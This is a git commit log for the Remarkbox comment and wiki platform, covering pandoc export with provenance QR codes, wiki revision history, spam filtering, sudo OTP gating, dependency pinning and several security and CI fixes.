Compare commits

...

237 commits
1.0.3 ... main

Author SHA1 Message Date
3053704247
twine-venv: pin twine<6 — classic ~/.pypirc auth on build runner
twine 6 (Sep 2025) auto-detects GitLab CI and refuses to fall back to
~/.pypirc, requiring PYPI_ID_TOKEN (Trusted Publishing OIDC). Pin <6
to keep the runner's ~/.pypirc fallback working until we migrate all
python/* repos to Trusted Publishing as a coordinated change.
2026-06-16 14:12:00 -04:00
892e6a859e
twine-upload: validate metadata with twine check, non-interactive
twine check validates the built artifacts' metadata (long_description
rendering, required fields) so a broken render hits CI logs instead of
landing on PyPI as a malformed project page.

--non-interactive guards against a wedged prompt hanging the pipeline.
2026-06-16 13:55:43 -04:00
50b9d1ee8e
feat: source_format auto-detect with expandable detector registry
The create-form selector forced authors to remember to switch from
markdown to rst before typing. Auto-detect runs on every preview
keystroke + at form submit time, picking the right format from
content shape so authors just write.

SOURCE_FORMAT_DETECTORS in custom.js carries the registry — first
match wins, ordered most-specific first. Today: html, latex,
mediawiki, rst, with markdown as the catch-all default.

Adding a new format (e.g. asciidoc, org, ipynb):
  1. Push one entry to SOURCE_FORMAT_DETECTORS in custom.js
  2. Add one <option> to source_format_select in create.j2
  3. Confirm pandoc accepts the format name

No Python changes needed for new formats — the existing
preview_post + new_thread paths pass source_format through to
pandoc untouched.

UX:
  - Default selector value: 'auto' (was 'markdown')
  - "detected: rst" label appears next to selector when auto picks
  - Manual override options stay for ambiguous content
  - Form onsubmit resolves 'auto' to a concrete format before POST
    so node.source_format never persists as the literal 'auto'

Defense in depth: new_thread.py + preview_post both treat 'auto'
as a no-op (falls to markdown default) for no-JS clients or racy
submits.
2026-06-05 21:03:59 -04:00
d1145510e2
feat: source_format selector on new-thread create form
The preview fix (64a15b6) honored source_format only when the textarea
already declared one — which works for editing an existing node but
not for creating a new one. Authors writing RST in the create form
saw their preview rendered as markdown, then saved into a node whose
source_format defaulted to markdown — so even the final saved page
came back wrong.

Three pieces:

- create.j2: <select> for source_format alongside the textarea.
  Default markdown; rst, html, mediawiki, latex, org, asciidoc,
  textile available. onchange syncs the chosen value into
  textarea.dataset.sourceFormat and re-runs preview, so the
  existing custom.js sendPreview picks it up unchanged.

- new_thread.py: read source_format from request.params, pass to
  set_data() so the created node's persistent source_format matches
  what the author saw in preview.

- No JS change needed — custom.js already reads
  textarea.dataset.sourceFormat.
2026-06-05 20:58:11 -04:00
5942f6b2b3
fix: eliminate pandoc subprocess thrash under pytest-xdist -n auto
Root cause of recurring 35929 / 38536 CI flake — `-n auto` on a 32-core
CI runner spawns 32 pytest workers. test_pandoc.py contains ~14 tests
that each fork a `pandoc` subprocess. When several land on parallel
workers at once, pandoc's cold-start cost (GHC runtime + filter loading)
plus runner CPU contention pushes wall time past the 5s metadata timeout
and 30s convert timeout. Subprocess gets SIGKILL'd (returncode -9),
tests fail, pipeline reruns the same flake.

Three-part root cause fix:

1. Cache get_available_input_formats / get_available_output_formats with
   functools.lru_cache(maxsize=1). Pandoc's format list is static for
   a given binary; we only need one subprocess per Python process,
   not one per call site. Also bump the metadata-query timeout from 5s
   to 30s — the first cold-start under contention still has to succeed.

2. Mark TestConvert + TestAvailableFormats with
   @pytest.mark.xdist_group("pandoc-subprocess") so every pandoc-forking
   test pins to one xdist worker. Other 31 workers continue parallel-
   processing the rest of the suite; pandoc tests run sequentially on
   their single worker, each pandoc cold-start completes before the
   next starts.

3. Update Makefile test target to pass --dist=loadgroup so pytest-xdist
   honors the xdist_group marker.

Other test classes in test_pandoc.py (TestNodeTreeToMarkdown,
TestNamespaceToMarkdown, TestGetAuthorName) use MockNode objects
without data_html, so node_tree_to_markdown's pandoc path stays cold —
those classes don't need the marker.

Replaces 1527ef7 (which just retriggered the same flake).
2026-06-05 20:47:30 -04:00
64a15b6a86
fix: live preview honors source_format — RST/HTML/mediawiki now render correctly
The /preview-post endpoint hardcoded markdown_to_html(), ignoring the
node's source_format. RST pages showed `..` comments verbatim, literal
`name_` references, and unrendered `.. _target: url` definitions, even
though Node.set_data dispatched correctly on save. Preview lied; save
told the truth.

Mirror set_data's dispatch in preview_post:
  - markdown → markdown_to_html (unchanged)
  - html     → pandoc clean → markdown_to_html (matches set_data)
  - any other → pandoc + namespace sanitizer

Plumb source_format from the edit textarea via data-source-format,
read by sendPreview in custom.js, sent as a form param.
2026-06-05 20:26:39 -04:00
1527ef7d64
ci: retrigger pipeline (flaky pandoc subprocess timeouts in 35929) 2026-05-24 11:06:00 -04:00
112d3fd3b1
fix: vendor minimal pkg_resources shim so pyramid survives setuptools>=81
setuptools 81 removed pkg_resources from its distribution. pyramid 2.0.x
(and 2.1) still does `import pkg_resources`. When setuptools 82.0.1 landed
in /opt/remarkbox/env, pyramid failed to import, all three uwsgi services
on origin crash-looped, and my.remarkbox.com / meta.remarkbox.com /
foxhop.net / westworld2.com served 502.

remarkbox/_vendor/pkg_resources/__init__.py is a 115-line shim backed by
importlib.resources (stdlib only — no setuptools, no jaraco.text, no
platformdirs). Exposes exactly the surface pyramid uses:
resource_filename / resource_stream / resource_string / resource_exists /
resource_isdir / resource_listdir / DefaultProvider / register_loader_type.

remarkbox/__init__.py prepends our _vendor dir to sys.path before the
first pyramid import so `import pkg_resources` always finds our shim,
regardless of which setuptools is installed. Bleeding-edge friendly:
upstream setuptools removals can no longer break us.

558 tests pass.
2026-05-24 10:44:05 -04:00
05f51ff965
supply-chain: hash-pin prod PyPI dependencies (requirements-prod.lock)
Prod previously installed via 'pip install .' (unbounded requirements.py3.txt) plus
'pip install --upgrade -r requirements-prod.txt' — every deploy re-resolved external
PyPI deps to whatever was latest, unverified.

- requirements-prod.in: source (runtime + prod-server deps)
- requirements-prod.lock: 55 PyPI pkgs pinned to exact versions + SHA256 (622 hashes)
- scripts/strip-vcs-from-lock.py: removes first-party git theme deps (pip can't hash
  a git repo; themes are integrity-pinned by their own commit SHAs)
- install-source-prod: pip install --require-hashes -r requirements-prod.lock, then
  pip install . to resolve the first-party git themes without re-resolving the
  hash-pinned PyPI deps
- make pins-lock regenerates the lock deliberately

Validated locally: stripped lock installs under --require-hashes, app imports under
resolved versions (SQLAlchemy 2.0, Pyramid latest).
2026-05-21 09:22:21 -04:00
99d27c8483
fix: remove per-comment export menu; keep export only at thread top 2026-05-17 06:15:58 -04:00
10e7a2bdb2
docs: T16 — themes self-contained; common.css is the built-in (embed) stylesheet 2026-05-12 08:39:30 -04:00
89679fd784
fix: restore neutral Remarkbox palette in common.css
68ca0ef swapped common.css :root from the Remarkbox light palette to the
chaostheory dark palette (teal background, ice-blue primary) and dark-skinned
.alert-*, section.well, .focused, etc. common.css ships in every theme, so
chaostheory colors leaked into meta/default pages (e.g. the teal well box on
my.remarkbox.com). Reverted those rules to their pre-68ca0ef values; the
chaostheory palette now lives in remarkbox-theme-chaostheory/theme.css. Kept
the .export-menu styles added in 9e22c0d.
2026-05-12 08:37:25 -04:00
763cacba57
fix: prefer X-Forwarded-Host over rewritten Host
Edge proxy rewrites Host: www.foxhop.net → foxhop.net before forwarding
to origin (see proxy.unturf.com Caddyfile). request.host on origin is
therefore always the apex, stripping any www. prefix even when the user
fetched from www. Caddy's reverse_proxy preserves the original host in
X-Forwarded-Host, so consult that first and fall back to request.host
when the proxy isn't in the path.
2026-04-27 11:34:41 -04:00
97a1fffeba
fix: use request.host for canonical URI (preserves www. prefix)
Provenance helpers were using namespace.name as the host. Foxhop's
namespace is named 'foxhop.net' but the public URI lives at
'www.foxhop.net' — exports were emitting 'https://foxhop.net/...' which
works (apex 301-redirects to www) but reads wrong on a printed page.

Pass request.host through into the provenance bundle so canonical URIs,
chapter titles, and per-reply permalinks all preserve whatever host
prefix the export was actually fetched from. Falls back to namespace.name
when no host is supplied (callers outside the request context).
2026-04-26 16:33:50 -04:00
81344da09a
fix: PDF body fills page width (override pandoc CSS max-width)
Pandoc's --standalone HTML5 template applies max-width: 36em + margin: 0
auto + padding: 50px to body, centering content in a narrow column on
any page size. With wkhtmltopdf at 15mm page margins, effective content
margins were measuring ~55mm because pandoc's CSS added ~40mm of inner
padding on top.

Inject a header-includes <style> block that strips body's max-width,
margin, and padding so content fills the page minus wkhtmltopdf's own
page margins. Measured: 55mm → 15mm left margin.
2026-04-26 15:55:55 -04:00
d7fa7d1b93
feat: tighter PDF margins + shorter QR caption
wkhtmltopdf default top margin is ~25mm — leaves a half-page of empty
space above the provenance header on every PDF. Set explicit 12mm
top/bottom and 15mm left/right via pandoc -V margin-* options.

Shorten QR caption from 'Scan to visit the living source' (six words,
wrapped onto four lines in the 160px cell) to 'Scan for living source'
(four words). Widen the QR cell from 160px to 200px so the caption
sits on one or two lines without crowding the QR.
2026-04-26 15:16:47 -04:00
63a5a939c0
ci: retry pipeline (245c5c7 test stage failed flakily)
Local pytest run shows 584 pass on the same code; previous CI test
job hit a transient failure. Retry to validate the auto-restart fix in
foxhop-states 591cb4f end-to-end through CI.
2026-04-26 15:03:38 -04:00
245c5c7d8c
ci: rebuild to test foxhop-states 591cb4f auto-restart in caddy_sites
Empty commit triggers a salt highstate so the new auto-restart cmd.run
in uwsgi.caddy_sites lands and (assuming akuma's clone of foxhop-states
has been pulled to 591cb4f) fires the catch-up restart of foxhop.net
and westworld2.com onto whatever commit hash this build produces.
2026-04-26 10:39:25 -04:00
b35c136f7f
feat: side-by-side provenance header (text left, QR right)
Wraps the provenance header in an HTML table so the source/snapshot/
generator block sits left and the QR sits right at the same horizontal
level. Pandoc converts the table cleanly into native table cells across
HTML, PDF (wkhtmltopdf), DOCX, ODT, EPUB.

Without a QR (qr_data_uri=None) we fall back to the plain blockquote.
2026-04-25 16:26:21 -04:00
37350324ea
ci: rebuild to pick up foxhop-states ce4edcc
Triggers a salt highstate so the content-based skip_deploy auto-restart
state lands on origin and finally drives the catch-up restart of
westworld2 (:6002) and foxhop.net (:6003) onto the current commit.
2026-04-25 13:39:58 -04:00
38475eceeb
feat: provenance + QR codes on every export
Every exported document (PDF, EPUB, DOCX, HTML, markdown, plain, ...)
now points back to its living source on Remarkbox so a printed snapshot
remains traceable years later.

What's injected:
  - Top banner: source URI, snapshot ISO timestamp, generator commit hash,
    plus a notice the document is a snapshot of a living source.
  - QR code (PNG, embedded as data URI) linking back to the canonical URI.
    Scannable from print, survives the pandoc image pipeline across
    HTML, PDF (via wkhtmltopdf), DOCX, EPUB, ODT.
  - Per-reply permalinks: each reply heading hyperlinks its date to the
    deep-link permalink (thread-uri#node-id), academic-citation style.
  - Footer repeating the source URI + commit hash.
  - Namespace exports also hyperlink each chapter title to the live
    thread.

Canonical URI = https://{namespace.name}{node.path} — namespace name is
its host on the public web.

New module: remarkbox/lib/provenance.py — header_md, footer_md,
reply_heading_md, qr_png_data_uri, canonical_uri helpers, and a one-shot
build() bundler.

Dep added: segno (pure-Python QR generator, BSD, zero deps).
2026-04-25 06:14:39 -04:00
9e22c0d768
fix: always-visible export menu + wiki history rev creation
Export menu: dropped the details/summary toggle so format options are
visible at all times; added flex layout with gap for breathing room.

Wiki history: the browser edit form path was calling node.edit() instead
of node.wiki_edit() so revisions were never recorded — /api/v1/nodes/.../revisions
returned empty after every edit. Also tightened the access gate to
can_wiki_edit so non-owner authenticated users can edit wiki-mode root
nodes through the UI (matching the gate already used by the edit-button
macro).
2026-04-25 06:14:27 -04:00
dded1622e8 fix: export markdown from data_html, not data+source_format
Observed defect: a node's source_format column can disagree with the
actual bytes in data. A Collatz thread on foxhop.net has data filled
with RST (======, ---, :: blocks) yet source_format="markdown". The
earlier helper trusted source_format and returned the RST untouched,
so GET /api/v1/export/.../thread.md served raw RST to anyone who asked
for markdown.

data_html is the canonical rendered form — set at every write via
set_data() regardless of input syntax — so converting data_html → markdown
via pandoc sidesteps the label mismatch entirely. Falls back to raw
data if data_html is missing or pandoc fails.
2026-04-24 15:09:31 -04:00
f5e453d6ba ci: rebuild to exercise foxhop-states 04ad310 auto-restart rule 2026-04-24 14:55:08 -04:00
8b6dac4dd7 fix: stop tripling thread titles in exports; convert non-markdown node data
Three fixes to thread/namespace export:

1. Nodes authored in non-markdown source_format (rst, mediawiki, latex, ...)
   had their raw source dumped directly into the markdown renderer. A RST
   thread exported as .md therefore yielded RST, not markdown. New
   _node_data_as_markdown helper converts node.data through pandoc when
   source_format != markdown, with a raw-source fallback on pandoc failure.

2. node_tree_to_markdown prepended '# {root_node.title}' on top of data
   that already carries its own H1 (either native markdown or a converted
   RST underline heading). Drop the prepend — the data owns the title.

3. convert() passed --metadata title=X which makes pandoc render a visible
   title-block in HTML/PDF above the body. Combined with (2) and the data's
   own H1 this showed the title three times in exported HTML/PDF. For
   html-family outputs (and pdf via wkhtmltopdf) switch to -V pagetitle=X
   so only the <title> tag gets populated; other formats still use the
   proper --metadata title=X for real document metadata.
2026-04-24 14:38:26 -04:00
2fd71e9029 feat: map user-facing file extensions to pandoc format names in export URIs
Users hitting /api/v1/export/threads/{id}.md got 'Unsupported format: md'
because pandoc's internal name is 'markdown'. Add EXTENSION_ALIASES +
resolve_format() so common extensions map to the right pandoc format:
  .md    -> markdown
  .html  -> html5
  .tex   -> latex
  .txt   -> plain
  .epub  -> epub3
  .wiki  -> mediawiki
  .adoc  -> asciidoc
  ...
Pandoc's own format names pass through unchanged (commonmark_x, docbook5,
fb2, etc.) via fallback.
2026-04-24 12:53:53 -04:00
586f2366df ci: rebuild to pull remarkbox-theme-chaostheory fed3eea (call_to_action in wikibar-right) 2026-04-24 07:47:29 -04:00
1bf5111638 ci: rebuild to pull remarkbox-theme-chaostheory df04c0d (call_to_action block fix) 2026-04-23 19:17:51 -04:00
9db2407395 feat: wiki revision history — HTML tabs, diff view, export links
- New route /{node_id}/revisions rendered by revision-history.j2
- Show content/history tabs on wiki root nodes
- Export dropdown includes history (json + html) links on wiki namespaces
- Node action buttons now gate on can_wiki_edit (not can_alter_node)
  so wiki-mode members can edit their own root nodes
- Suppress Topic link when URI matches current domain (self-reference)
- Tests covering revision timestamps, wiki_edit(), can_wiki_edit(),
  /revisions endpoints, CSRF trusted origins, export menu gating,
  pandoc rst→html rendering
2026-04-22 11:37:06 -04:00
a5c3e36fce fix: Namespace.moderators returned all members; owners now imply mod
moderators property returned self.enabled_users (every enabled member),
so every user who had ever posted got moderator powers: spam
approve/deny, edit/delete other users' comments, moderator Slack
notifications. Bug was universal across all namespaces — any site where
users post was affected.

Fix: moderators now returns only users with role='moderator'.
Owners now implicitly pass is_moderator() checks, since NamespaceUser
is single-role per user per namespace; this keeps owners functional
without needing a data migration.
2026-04-21 19:59:40 -04:00
e1952cb1c4 ci: fix chaostheory requirement name (pip distribution is remarkbox-chaostheory) 2026-04-21 18:31:49 -04:00
ddbcdfa094 ci: install and bundle remarkbox-theme-chaostheory
Adds chaostheory theme to the shared env.tar.gz build so foxhop.net
(which sets app.theme = chaostheory and shares /opt/remarkbox/env with
my.remarkbox.com) has the theme's templates + static assets available
after deploy.
2026-04-21 18:27:49 -04:00
68ca0ef6e7 feat: foxhop.net support — /attachment/ static view, pandoc standalone fix, figure/figcaption tags, avatar null guard, html5lib body fragment, chaostheory palette in common.css 2026-04-08 15:05:22 -04:00
176be89319 docs: use make migration — never hand-write revision IDs 2026-04-06 14:23:16 -04:00
604c8407ee style: avoid "the", use "our" — writing style rule + sweep 2026-03-31 13:20:22 -04:00
f3815eb0ce fix: CWE-407 content length cap on browser form paths; tighten bleach pin; add tests
- views/__init__.py: add MAX_CONTENT_LENGTH = 500_000 (shared constant with comment
  explaining the CWE-407 / bleach ReDoS rationale)
- reply_node.py: reject oversized content before set_data() / clean_raw_html()
- modify_node.py: same guard on edit path
- new_thread.py: same guard on new thread path
- requirements.py3.txt: tighten bleach>=2.1.4 -> bleach>=6.0.0 with CVE note
- test_render.py: unit tests for bleach version contract, API stability,
  sanitization correctness, and ReDoS resistance timing
- test_views.py: functional tests for content length enforcement on all three
  browser form paths (reply, new thread)
2026-03-30 09:27:59 -04:00
d37c60481d docs: CWE-407 audit — bleach sanitization pipeline and build tools 2026-03-30 08:25:27 -04:00
67483f2b98 ops: operation voyeur — credential opsec protocol 2026-03-29 15:46:07 -04:00
b51cf4574d chore: trigger CI to pull updated meta theme 2026-03-29 09:47:07 -04:00
06d70b9e92 docs: never access credentials without explicit instruction 2026-03-28 15:44:13 -04:00
c87fb0bd1f fix: cap search keywords and query results to prevent CWE-407 amplification
- list_nodes.py: strip empty tokens, cap keywords to 10 before passing to model
- node.py: add .limit(200) per keyword query — was unbounded .all()
- namespace.py: add .limit(500) on root.children in dict_dump — was unbounded iteration
- __init__.py: cap page_number to 1000 — large offsets force full table scans
2026-03-28 15:12:39 -04:00
2061097e13 Skip PDF tests when wkhtmltopdf unavailable (fixes CI). 2026-03-10 11:22:01 -04:00
46bdf3a217 Add revision diff endpoint and progressive enhancement export/wiki UI.
Diff: GET /api/v1/revisions/{id}/diff/{other_id} — unified diff between two revisions.
UI: <details>-based export menus on thread and node views (works without JS).
UI: Revision history link for wiki-mode namespaces.
2026-03-10 11:13:39 -04:00
75bec564b2 Replace ASCII diagrams with Graphviz DOT in architecture and ticket docs. 2026-03-10 09:29:36 -04:00
b63277e4d1 Update docs for Operation Undigg: API reference, testing guide, architecture diagram. 2026-03-10 09:07:32 -04:00
6d1cfff91d Operation Undigg: multi-syntax input, pandoc export, wiki mode, auto-themes.
Phase 1: Pandoc export pipeline — 67 output formats for threads, namespaces, nodes.
Phase 2: Multi-syntax input — accept markdown, HTML, RST, MediaWiki, LaTeX, etc.
Phase 3: Wiki mode — per-namespace toggle, revision tracking, wiki-edit endpoint.
Phase 4: Auto-generated themes — deterministic CSS per namespace, light + dark mode.

Includes unit, integration, and functional tests (95 new, 544 total).
2026-03-10 00:35:51 -04:00
f45c42d343 modified: remarkbox/__init__.py
modified:   requirements.py3.txt
2026-03-09 19:50:36 -04:00
5bcd7df585 Document proxy architecture and domain routing in CLAUDE.md.
Maps which domains go through the edge proxy (142.93.73.64) vs direct to
origin (162.243.167.224). Prevents repeat of the 5-day meta/faq SSL outage
caused by missing proxy blocks.
2026-03-02 15:51:56 -05:00
a57187672c Update postmortem with actual root cause and add T14.
The 5-day meta/faq SSL outage was caused by missing proxy blocks in
proxy.unturf.com, not a Caddy cold-start issue. Fixed in proxy commit f12a56d.
2026-03-02 15:22:39 -05:00
4287aeee2c Add postmortem for 2026-02-25 SSL/TLS outage on meta and faq subdomains. 2026-02-26 07:06:48 -05:00
2d64d79b80 Trigger salt highstate: migrate from nginx to caddy 2026-02-13 13:51:40 -05:00
fa6b3aab73 Prevent long inline code from blowing out page width on mobile. 2026-02-09 09:44:38 -05:00
165aea2ca3 Document related repos and footer duplication in CLAUDE.md. 2026-02-09 07:32:10 -05:00
12f8364a61 Redeploy to pick up meta theme footer fix 2026-02-09 07:11:53 -05:00
7c85b6e77e Document theme system and deployment workflow in CLAUDE.md 2026-02-08 15:46:51 -05:00
f5c09d873e Pin setuptools<81 — version 82 removed pkg_resources
Pyramid imports pkg_resources which was removed in setuptools 82.
Pin across requirements, Makefile, and CI scripts.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-08 12:19:33 -05:00
37bffe29aa Install setuptools directly in CI scripts before make targets
Belt-and-suspenders: ensure setuptools is in the cached venv
before any Make target runs. Shell executor preserves env/
between builds but Python 3.12+ venvs lack setuptools.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-08 12:16:01 -05:00
a2e574d6b9 Install setuptools before editable install, not just in venv target
The venv target is a no-op on cached CI runners where env/bin/activate
already exists. Move setuptools install into install-source-dev-and-test
and install-source-prod so it runs every time, regardless of venv cache.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-08 12:11:09 -05:00
568e8757fe Bump version to 1.0.6
Forces pip to re-resolve dependencies on cached CI venvs,
pulling in setuptools.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-08 12:04:27 -05:00
ef4d6da410 Install setuptools in venv creation step for Python 3.12+
The requirements.py3.txt change alone wasn't enough — pip treats
setuptools specially during editable installs and may not install
it as a runtime dependency. Installing it immediately after venv
creation ensures pkg_resources is available for Pyramid and theme
loading.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-08 12:03:44 -05:00
8d64fa11e4 Add setuptools to requirements for Python 3.12+ compatibility
pkg_resources (used for theme entry point loading) lives in
setuptools, which Python 3.12+ no longer bundles in venvs.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-08 11:57:26 -05:00
7575f74837 Add C SDK (rb.h + rb.c) with API download endpoint and namespace settings links. 2026-02-08 11:11:54 -05:00
f661938820 AJAX progressive enhancement for all action buttons.
Lock/unlock, watch/unwatch, disable/enable, verify, approve/deny
now return JSON for XHR requests and swap client-side without a
page reload. Falls back to normal POST + redirect when JS is off.
2026-02-08 08:38:27 -05:00
637f5a7073 Respect preview visibility preference on AJAX-inserted nodes. 2026-02-08 08:27:37 -05:00
0b22261b97 Fix preview layout: indent text column to stay right of avatar. 2026-02-08 06:44:59 -05:00
393151261d Add margin-right to preview avatar for proper text spacing. 2026-02-08 06:29:04 -05:00
48e17ad0f8 Fix preview avatar hidden by nested-avatar negative margin.
The dynamic CSS sets margin-left: -48px on .nested-avatar to hang
avatars into .node padding. In the preview container (no matching
padding, overflow:hidden), this pushed the avatar off-screen.
Use plain .avatar class for preview avatars instead.
2026-02-08 06:19:02 -05:00
14379cc364 Create preview avatar via DOM API instead of hidden template element.
Browsers do not render images inside display:none containers and
re-assigning src does not reliably trigger re-render. Store the
avatar URL in a data attribute and create the img element via
document.createElement after the container is already visible.
2026-02-08 06:00:08 -05:00
3c4f5998f2 Force avatar re-render after showing preview-author div.
Browsers skip rendering images inside display:none containers.
Re-assign the src attribute after making the div visible to force
the browser to render the SVG data URI.
2026-02-08 05:37:41 -05:00
e6af04bfc6 Add cache-busting version parameter to custom.js URL.
Prevents stale JS from running against new templates after deploys.
Uses the git commit hash as a query parameter on the script URL.
2026-02-08 04:48:29 -05:00
ac5970044e Fix preview avatar: use persistent DOM element instead of innerHTML manipulation.
Move the preview author header (avatar + name + timestamp) inside the
preview div as a persistent child element that JS shows/hides, rather
than serializing it via innerHTML which was failing to render the image.
2026-02-08 04:17:46 -05:00
a42ed0dc7a Switch preview header from <template> to hidden div.
<template>.innerHTML has DocumentFragment quirks. Use a plain
hidden div instead — its innerHTML is read directly from the
normal DOM to clone the avatar and author header for previews.
2026-02-07 20:05:03 -05:00
18cd870956 Use server-rendered template for preview avatar and author header.
Replace data-attribute approach with a <template> element inside the
reply form. The server renders the avatar img and author name once;
JS clones the HTML for each preview update. This fixes the missing
avatar in the live preview and handles anonymous name updates.
2026-02-07 19:29:53 -05:00
56163ffda3 Show live preview as a node with avatar, name, and timestamp.
Reply form preview now wraps rendered markdown in node-like markup
showing the author's avatar, display name, and "just now" timestamp.
Authenticated users see their real avatar; anonymous users see their
typed name. Edit form previews are unaffected.
2026-02-07 19:14:13 -05:00
7bb2f7fa31 Render AJAX replies server-side for seamless insertion.
Instead of building minimal DOM in JS, the reply handler now renders
the full node HTML using the same Jinja2 macros (avatar, author,
date, actions, edit/reply forms) and returns it as node_html.
The JS inserts the pre-rendered fragment directly.
2026-02-07 19:01:24 -05:00
20161094fc Make rb_sudo_otp migration idempotent to fix deploy.
init_db creates the table via metadata, so alembic upgrade must
check for its existence before issuing CREATE TABLE.
2026-02-07 18:22:54 -05:00
cc2da50569 Add tests for AJAX comment submission and capability-driven presentation.
17 new tests: template validation for noscript/js-only pattern,
functional tests for AJAX replies (JSON 201, rendered HTML, parent_id,
author name, database persistence, graceful fallback to redirect),
and anonymous AJAX reply tests.
2026-02-07 17:34:59 -05:00
f9a00708db Add AJAX comment submission with graceful fallback.
Reply forms now submit via fetch() when JS is available, inserting
the new comment into the DOM without a page reload. Falls back to
the traditional POST + redirect when JS is disabled or on any error.
Documents capability-driven presentation practice in CLAUDE.md.
2026-02-07 16:39:59 -05:00
e5693b61b0 Show recently active threads by last activity, not creation date.
A 7-year-old thread getting bumped is a sign of life.
2026-02-05 17:25:02 -05:00
28120caf48 Fix topsecret dashboard: limit all sections, show actually recent threads.
Pending requests capped at 25 with total count and "more" link.
Recent threads filtered to last 30 days ordered by created (not changed).
New users capped at 50.
2026-02-05 17:24:07 -05:00
f70dfc9ed2 Rebuild topsecret dashboard for community growth.
CSS grid layout with cards for: people waiting on us (pending
namespace requests), moderation queue, spam filter catches, new
humans this week, most alive namespaces, and recent threads.
Direct, honest copy throughout.
2026-02-05 17:00:42 -05:00
17a7b9df01 Limit topsecret dashboard root nodes to 1000. 2026-02-05 16:45:53 -05:00
9f3c7e9b3a Add topsecret dashboard with links to all admin features. 2026-02-05 16:36:32 -05:00
c7e624fdd7 Fix GDPR delete account test for two-step sudo OTP flow.
Update test to perform both steps: POST with DELETE to get OTP form,
then POST with OTP code to complete deletion. Add SMTP mock since
the OTP step now sends email.
2026-02-05 16:25:48 -05:00
0667917318 Add sudo OTP verification for destructive operations.
Gate superuser promote/demote, API node deletion, and account
deletion behind an 8-digit email OTP confirmation step.
2026-02-05 16:11:50 -05:00
efd2e9f8b4 Add missing list-namespaces.j2 template for topsecret route.
The topsecret-namespaces view referenced this template but it was
never created, causing 500 errors on /topsecret/namespaces.
2026-02-05 15:47:50 -05:00
af3132930d Fix view decorators missing functools.wraps
The super_fly_required decorator was missing functools.wraps, causing
Pyramid to fail to properly register topsecret views. Added wraps to
all three view decorators for consistency.
2026-02-05 12:41:36 -05:00
89644d2117 Fix embed overflow: add box-sizing border-box with padding
Padding without border-box caused content to overflow the iframe
since body has min-width: 100%.
2026-02-02 15:38:21 -05:00
a6ee451069 Add horizontal padding to embed mode body
Prevents content from sitting flush against the iframe edges.
2026-02-02 15:22:27 -05:00
3579c89d4c Replace AI with machine learning in UI labels, docs, and CLAUDE.md 2026-02-02 15:17:59 -05:00
timehexon
6916c92333 Replace "AI" with "machine learning" in CLAUDE.md
Machine learning is what we grow. "AI" is forbidden in all
permacomputer discourse, marketing, & documentation.
2026-02-02 19:57:12 +00:00
82316fb8f7 Fix spam_held reference in thread_uri code path after rebase 2026-02-02 14:14:48 -05:00
070a6b678d Add spam moderation UI, node spam fields, and namespace spam toggle
- spam_score and spam_reason columns on Node model (alembic migration)
- spam_filter_enabled column on Namespace (owners can disable Hermes)
- check_spam always returns full result dict with score/signals/reason
- Spam data stored on every node for moderation display
- "(spam)" label on flagged nodes with hover showing Hermes explanation
- Spam moderation page at /ns/{namespace}/nodes?spam with bulk actions
- Bulk approve/disable for spam nodes with checkboxes
- Hermes reason shown prominently on spam page for each flagged node
- Namespace settings checkbox: "Enable Spam Filter (Hermes AI)"
- Namespace.spam_filter_enabled respected by LLM check gate
- spam_nodes property on Namespace for querying flagged nodes
- Unit tests for spam scoring, LLM mocked tests, live Hermes integration
  tests covering embed mode, site mode, edge cases (44 new tests)
2026-02-02 14:13:47 -05:00
timehexon
5042a7d9f1 Use embed-identical root node creation when thread_uri is provided
When thread_uri is given to POST /api/v1/threads, the API now uses
get_or_create_node_by_uri (same as the embed iframe) to create the
root node, then posts the comment as a child reply. This ensures
threads created via the API are structurally identical to those
created by the embed, so the iframe can find and display them.

Without thread_uri, behavior is unchanged (standalone root node).
2026-02-02 18:47:38 +00:00
timehexon
a3e6c0b046 Fix failing API tests after namespace validation change
- Add trailing slash to URI lookup in test_create_thread_with_uri
  to match how get_or_create_uri stores the URL
- Create localhost namespace in TestAPIAuthenticatedEditing.setUp
  since api_create_thread no longer auto-creates namespaces
2026-02-02 18:29:51 +00:00
timehexon
bc751728f5 Link thread_uri to root node in POST /api/v1/threads
The API was creating orphan root nodes with no Uri record, so
the embed iframe could never find them. Now when thread_uri is
provided, a Uri record is created and linked to the node — same
association the embed uses via get_or_create_node_by_uri.

Returns 409 if a thread already exists for the given URI.
2026-02-02 18:22:41 +00:00
timehexon
df3f3d231e Reject thread creation on nonexistent namespaces
POST /api/v1/threads now returns 404 if the namespace doesn't already
exist, instead of auto-creating it. Prevents phantom namespaces from
accumulating when callers mistype the namespace name.

get_or_create_namespace is still used for read-only endpoints (GET)
where lazy creation is acceptable.
2026-02-02 18:04:53 +00:00
66964f736a Add spam prevention, superuser system, and LLM relevance checking
- Thread creation rate limit: 1 per 7 min per user/IP via API
- is_superuser column on User model with alembic migration
- Superusers bypass namespace-scoped is_moderator() checks
- super_fly_required now checks is_superuser instead of hardcoded names
- /topsecret/users admin page to promote/demote superusers
- Spam scoring module with 6 signals (link density, patterns, duplicates,
  new account velocity, IP reputation, content length)
- Hard threshold (0.8) rejects, soft threshold (0.5) holds for moderation
- LLM relevance checking via Hermes (hermes.ai.unturf.com) on every
  message when enabled, including embed mode parent page URL context
- Admin API endpoints: GET /api/v1/admin/namespaces, recent-nodes
- Spam hunting scripts: scan.py, disable_spam.py, promote_superuser.py
- Updated Python client with admin methods
2026-02-02 09:19:16 -05:00
8d836dae34 Make Alembic migrations idempotent for SQLite
Check if columns/tables exist before adding them so migrations
don't fail on re-run when schema was applied out of band.
2026-02-02 08:31:36 -05:00
b6739fff70 Fix thread search suggestions: navigate on click, fix duplicate ID
- Add explicit click handler on suggestions so clicking navigates
  to the existing thread instead of interacting with the form
- Fix duplicate id="thread_title_input" in forms.j2 edit macro
  (renamed to edit_title_input to avoid conflict with create form)
2026-02-02 08:13:05 -05:00
c038b649b2 Fix thread search: strip stop words, use OR matching for keywords
"Do you have an API?" now correctly matches "API testing journey"
by stripping stop words (do, you, have, an) and punctuation, then
matching remaining keywords with OR logic across titles and content.
2026-02-02 08:02:02 -05:00
165aff32e2 Improve thread search to keyword matching across titles and content
Search now splits query into keywords and matches each against both
title and data fields (not just title prefix). Also searches child
node content and returns parent threads for matches.
